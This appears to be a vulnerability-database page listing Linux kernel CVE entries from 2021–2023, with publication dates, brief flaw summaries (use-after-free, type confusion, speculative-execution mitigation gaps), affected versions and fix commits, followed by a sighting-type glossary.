In nf_tables_updtable, if nf_tables_table_enable returns an error, nft_trans_destroy is called to free the transaction object. nft_trans_destroy() calls list_del(), but the transaction was never placed on a list -- the list head is all zeroes, this results in a NULL pointer dereference.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| n/a | Linux kernel netfilter subsystem. |
Version: Fixed in 6.0-rc1 |
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CVE-2023-23455 (GCVE-0-2023-23455)
Vulnerability from cvelistv5
Published
2023-01-12 00:00
Modified
2025-03-20 20:54
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
atm_tc_enqueue in net/sched/sch_atm.c in the Linux kernel through 6.1.4 allows attackers to cause a denial of service because of type confusion (non-negative numbers can sometimes indicate a TC_ACT_SHOT condition rather than valid classification results).
References
| URL | Tags | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
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CVE-2023-1076 (GCVE-0-2023-1076)
Vulnerability from cvelistv5
Published
2023-03-27 00:00
Modified
2025-02-24 17:04
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A flaw was found in the Linux Kernel. The tun/tap sockets have their socket UID hardcoded to 0 due to a type confusion in their initialization function. While it will be often correct, as tuntap devices require CAP_NET_ADMIN, it may not always be the case, e.g., a non-root user only having that capability. This would make tun/tap sockets being incorrectly treated in filtering/routing decisions, possibly bypassing network filters.
References
| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| n/a | Linux kernel |
Version: unknown |
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CVE-2023-28328 (GCVE-0-2023-28328)
Vulnerability from cvelistv5
Published
2023-04-19 00:00
Modified
2025-03-19 15:34
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A NULL pointer dereference flaw was found in the az6027 driver in drivers/media/usb/dev-usb/az6027.c in the Linux Kernel. The message from user space is not checked properly before transferring into the device. This flaw allows a local user to crash the system or potentially cause a denial of service.
References
Impacted products
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CVE-2022-47929 (GCVE-0-2022-47929)
Vulnerability from cvelistv5
Published
2023-01-17 00:00
Modified
2025-04-04 18:01
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
In the Linux kernel before 6.1.6, a NULL pointer dereference bug in the traffic control subsystem allows an unprivileged user to trigger a denial of service (system crash) via a crafted traffic control configuration that is set up with "tc qdisc" and "tc class" commands. This affects qdisc_graft in net/sched/sch_api.c.
References
| URL | Tags | ||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||
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CVE-2022-3424 (GCVE-0-2022-3424)
Vulnerability from cvelistv5
Published
2023-03-06 00:00
Modified
2025-03-06 20:27
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A use-after-free flaw was found in the Linux kernel’s SGI GRU driver in the way the first gru_file_unlocked_ioctl function is called by the user, where a fail pass occurs in the gru_check_chiplet_assignment function. This flaw allows a local user to crash or potentially escalate their privileges on the system.
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CVE-2023-28866 (GCVE-0-2023-28866)
Vulnerability from cvelistv5
Published
2023-03-27 00:00
Modified
2025-05-05 16:02
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
In the Linux kernel through 6.2.8, net/bluetooth/hci_sync.c allows out-of-bounds access because amp_init1[] and amp_init2[] are supposed to have an intentionally invalid element, but do not.
References
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CVE-2023-1074 (GCVE-0-2023-1074)
Vulnerability from cvelistv5
Published
2023-03-27 00:00
Modified
2025-03-19 15:44
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A memory leak flaw was found in the Linux kernel's Stream Control Transmission Protocol. This issue may occur when a user starts a malicious networking service and someone connects to this service. This could allow a local user to starve resources, causing a denial of service.
References
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CVE-2023-1073 (GCVE-0-2023-1073)
Vulnerability from cvelistv5
Published
2023-03-27 00:00
Modified
2025-04-23 16:23
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A memory corruption flaw was found in the Linux kernel’s human interface device (HID) subsystem in how a user inserts a malicious USB device. This flaw allows a local user to crash or potentially escalate their privileges on the system.
References
| URL | Tags | ||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
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CVE-2022-3903 (GCVE-0-2022-3903)
Vulnerability from cvelistv5
Published
2022-11-14 00:00
Modified
2025-04-30 19:09
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
An incorrect read request flaw was found in the Infrared Transceiver USB driver in the Linux kernel. This issue occurs when a user attaches a malicious USB device. A local user could use this flaw to starve the resources, causing denial of service or potentially crashing the system.
References
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CVE-2023-1079 (GCVE-0-2023-1079)
Vulnerability from cvelistv5
Published
2023-03-27 00:00
Modified
2025-02-19 21:36
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A flaw was found in the Linux kernel. A use-after-free may be triggered in asus_kbd_backlight_set when plugging/disconnecting in a malicious USB device, which advertises itself as an Asus device. Similarly to the previous known CVE-2023-25012, but in asus devices, the work_struct may be scheduled by the LED controller while the device is disconnecting, triggering a use-after-free on the struct asus_kbd_leds *led structure. A malicious USB device may exploit the issue to cause memory corruption with controlled data.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| n/a | Linux kernel |
Version: unknown |
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CVE-2022-21505 (GCVE-0-2022-21505)
Vulnerability from cvelistv5
Published
2024-12-24 18:48
Modified
2024-12-27 16:52
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- In the linux kernel, if IMA appraisal is used with the "ima_appraise=log" boot param, lockdown can be defeated with kexec on any machine when Secure Boot is disabled or unavailable. IMA prevents setting "ima_appraise=log" from the boot param when Secure Boot is enabled, but this does not cover cases where lockdown is used without Secure Boot. CVSS 3.1 Base Score 6.7 (Confidentiality, Integrity, Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
Summary
In the linux kernel, if IMA appraisal is used with the "ima_appraise=log" boot param, lockdown can be defeated with kexec on any machine when Secure Boot is disabled or unavailable. IMA prevents setting "ima_appraise=log" from the boot param when Secure Boot is enabled, but this does not cover cases where lockdown is used without Secure Boot. CVSS 3.1 Base Score 6.7 (Confidentiality, Integrity, Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
References
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Oracle Corporation | Oracle Linux |
Version: Oracle Linux: 7 Version: Oracle Linux: 8 Version: Oracle Linux: 9 |
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CVE-2022-41849 (GCVE-0-2022-41849)
Vulnerability from cvelistv5
Published
2022-09-30 00:00
Modified
2024-08-03 12:56
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
drivers/video/fbdev/smscufx.c in the Linux kernel through 5.19.12 has a race condition and resultant use-after-free if a physically proximate attacker removes a USB device while calling open(), aka a race condition between ufx_ops_open and ufx_usb_disconnect.
References
| URL | Tags | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||
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CVE-2023-1829 (GCVE-0-2023-1829)
Vulnerability from cvelistv5
Published
2023-04-12 11:16
Modified
2025-02-13 16:39
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-416 - Use After Free
Summary
A use-after-free vulnerability in the Linux Kernel traffic control index filter (tcindex) can be exploited to achieve local privilege escalation. The tcindex_delete function which does not properly deactivate filters in case of a perfect hashes while deleting the underlying structure which can later lead to double freeing the structure. A local attacker user can use this vulnerability to elevate its privileges to root.
We recommend upgrading past commit 8c710f75256bb3cf05ac7b1672c82b92c43f3d28.
References
| URL | Tags | ||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
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|||||||||||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Linux | Linux Kernel |
Version: 3.8 < |
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CVE-2023-1032 (GCVE-0-2023-1032)
Vulnerability from cvelistv5
Published
2024-01-08 18:11
Modified
2024-08-27 15:48
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
The Linux kernel io_uring IORING_OP_SOCKET operation contained a double free in function __sys_socket_file() in file net/socket.c. This issue was introduced in da214a475f8bd1d3e9e7a19ddfeb4d1617551bab and fixed in 649c15c7691e9b13cbe9bf6c65c365350e056067.
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| Vendor | Product | Version | ||
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| The Linux Kernel Organization | linux |
Version: 0 ≤ |
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CVE-2023-26605 (GCVE-0-2023-26605)
Vulnerability from cvelistv5
Published
2023-02-26 00:00
Modified
2025-05-05 16:04
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
In the Linux kernel 6.0.8, there is a use-after-free in inode_cgwb_move_to_attached in fs/fs-writeback.c, related to __list_del_entry_valid.
References
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CVE-2021-3669 (GCVE-0-2021-3669)
Vulnerability from cvelistv5
Published
2022-08-26 15:25
Modified
2024-08-03 17:01
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-400 - - Uncontrolled Resource Consumption
Summary
A flaw was found in the Linux kernel. Measuring usage of the shared memory does not scale with large shared memory segment counts which could lead to resource exhaustion and DoS.
References
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CVE-2023-1077 (GCVE-0-2023-1077)
Vulnerability from cvelistv5
Published
2023-03-27 00:00
Modified
2024-08-02 05:32
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
In the Linux kernel, pick_next_rt_entity() may return a type confused entry, not detected by the BUG_ON condition, as the confused entry will not be NULL, but list_head.The buggy error condition would lead to a type confused entry with the list head,which would then be used as a type confused sched_rt_entity,causing memory corruption.
References
| URL | Tags | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| n/a | Linux kernel |
Version: unknown |
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CVE-2023-30456 (GCVE-0-2023-30456)
Vulnerability from cvelistv5
Published
2023-04-10 00:00
Modified
2025-03-19 15:43
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
An issue was discovered in arch/x86/kvm/vmx/nested.c in the Linux kernel before 6.2.8. nVMX on x86_64 lacks consistency checks for CR0 and CR4.
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CVE-2023-1281 (GCVE-0-2023-1281)
Vulnerability from cvelistv5
Published
2023-03-22 13:18
Modified
2025-03-05 19:22
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-416 - Use After Free
Summary
Use After Free vulnerability in Linux kernel traffic control index filter (tcindex) allows Privilege Escalation. The imperfect hash area can be updated while packets are traversing, which will cause a use-after-free when 'tcf_exts_exec()' is called with the destroyed tcf_ext. A local attacker user can use this vulnerability to elevate its privileges to root.
This issue affects Linux Kernel: from 4.14 before git commit ee059170b1f7e94e55fa6cadee544e176a6e59c2.
References
| URL | Tags | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
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Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Linux | Linux Kernel |
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CVE-2023-1118 (GCVE-0-2023-1118)
Vulnerability from cvelistv5
Published
2023-03-02 00:00
Modified
2025-04-23 16:23
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A flaw use after free in the Linux kernel integrated infrared receiver/transceiver driver was found in the way user detaching rc device. A local user could use this flaw to crash the system or potentially escalate their privileges on the system.
References
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CVE-2023-23559 (GCVE-0-2023-23559)
Vulnerability from cvelistv5
Published
2023-01-13 00:00
Modified
2025-05-05 16:05
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
In rndis_query_oid in drivers/net/wireless/rndis_wlan.c in the Linux kernel through 6.1.5, there is an integer overflow in an addition.
References
| URL | Tags | ||||||||||||||||
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|
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CVE-2023-0266 (GCVE-0-2023-0266)
Vulnerability from cvelistv5
Published
2023-01-30 13:09
Modified
2025-09-15 20:44
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-416 - Use After Free
Summary
A use after free vulnerability exists in the ALSA PCM package in the Linux Kernel. SNDRV_CTL_IOCTL_ELEM_{READ|WRITE}32 is missing locks that can be used in a use-after-free that can result in a priviledge escalation to gain ring0 access from the system user. We recommend upgrading past commit 56b88b50565cd8b946a2d00b0c83927b7ebb055e
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| Linux | Linux Kernel |
Version: 4.14 |
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CVE-2023-0045 (GCVE-0-2023-0045)
Vulnerability from cvelistv5
Published
2023-04-25 22:44
Modified
2025-02-13 16:38
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-610 - Externally Controlled Reference to a Resource in Another Sphere
Summary
The current implementation of the prctl syscall does not issue an IBPB immediately during the syscall. The ib_prctl_set function updates the Thread Information Flags (TIFs) for the task and updates the SPEC_CTRL MSR on the function __speculation_ctrl_update, but the IBPB is only issued on the next schedule, when the TIF bits are checked. This leaves the victim vulnerable to values already injected on the BTB, prior to the prctl syscall. The patch that added the support for the conditional mitigation via prctl (ib_prctl_set) dates back to the kernel 4.9.176.
We recommend upgrading past commit a664ec9158eeddd75121d39c9a0758016097fa96
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| URL | Tags | ||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||
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Version: 9137bb27e60e |
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CVE-2023-1998 (GCVE-0-2023-1998)
Vulnerability from cvelistv5
Published
2023-04-21 14:51
Modified
2025-02-13 16:39
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-1303 - Non-Transparent Sharing of Microarchitectural Resources
Summary
The Linux kernel allows userspace processes to enable mitigations by calling prctl with PR_SET_SPECULATION_CTRL which disables the speculation feature as well as by using seccomp. We had noticed that on VMs of at least one major cloud provider, the kernel still left the victim process exposed to attacks in some cases even after enabling the spectre-BTI mitigation with prctl. The same behavior can be observed on a bare-metal machine when forcing the mitigation to IBRS on boot command line.
This happened because when plain IBRS was enabled (not enhanced IBRS), the kernel had some logic that determined that STIBP was not needed. The IBRS bit implicitly protects against cross-thread branch target injection. However, with legacy IBRS, the IBRS bit was cleared on returning to userspace, due to performance reasons, which disabled the implicit STIBP and left userspace threads vulnerable to cross-thread branch target injection against which STIBP protects.
References
| URL | Tags | ||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||
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"value": "\u003cp\u003eThe Linux kernel allows userspace processes to enable mitigations by calling prctl with PR_SET_SPECULATION_CTRL which disables the speculation feature as well as by using seccomp. We had noticed that on VMs of at least one major cloud provider, the kernel still left the victim process exposed to attacks in some cases even after enabling the spectre-BTI mitigation with prctl. The same behavior can be observed on a bare-metal machine when forcing the mitigation to IBRS on boot command line.\u003c/p\u003e\u003cp\u003eThis happened because when plain IBRS was enabled (not enhanced IBRS), the kernel had some logic that determined that STIBP was not needed. The IBRS bit implicitly protects against cross-thread branch target injection. However, with legacy IBRS, the IBRS bit was cleared on returning to userspace, due to performance reasons, which disabled the implicit STIBP and left userspace threads vulnerable to cross-thread branch target injection against which STIBP protects.\u003c/p\u003e\u003cbr\u003e"
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CVE-2023-0468 (GCVE-0-2023-0468)
Vulnerability from cvelistv5
Published
2023-01-25 00:00
Modified
2025-04-01 15:06
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- Kernel 6.1 RC7
Summary
A use-after-free flaw was found in io_uring/poll.c in io_poll_check_events in the io_uring subcomponent in the Linux Kernel due to a race condition of poll_refs. This flaw may cause a NULL pointer dereference.
References
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.
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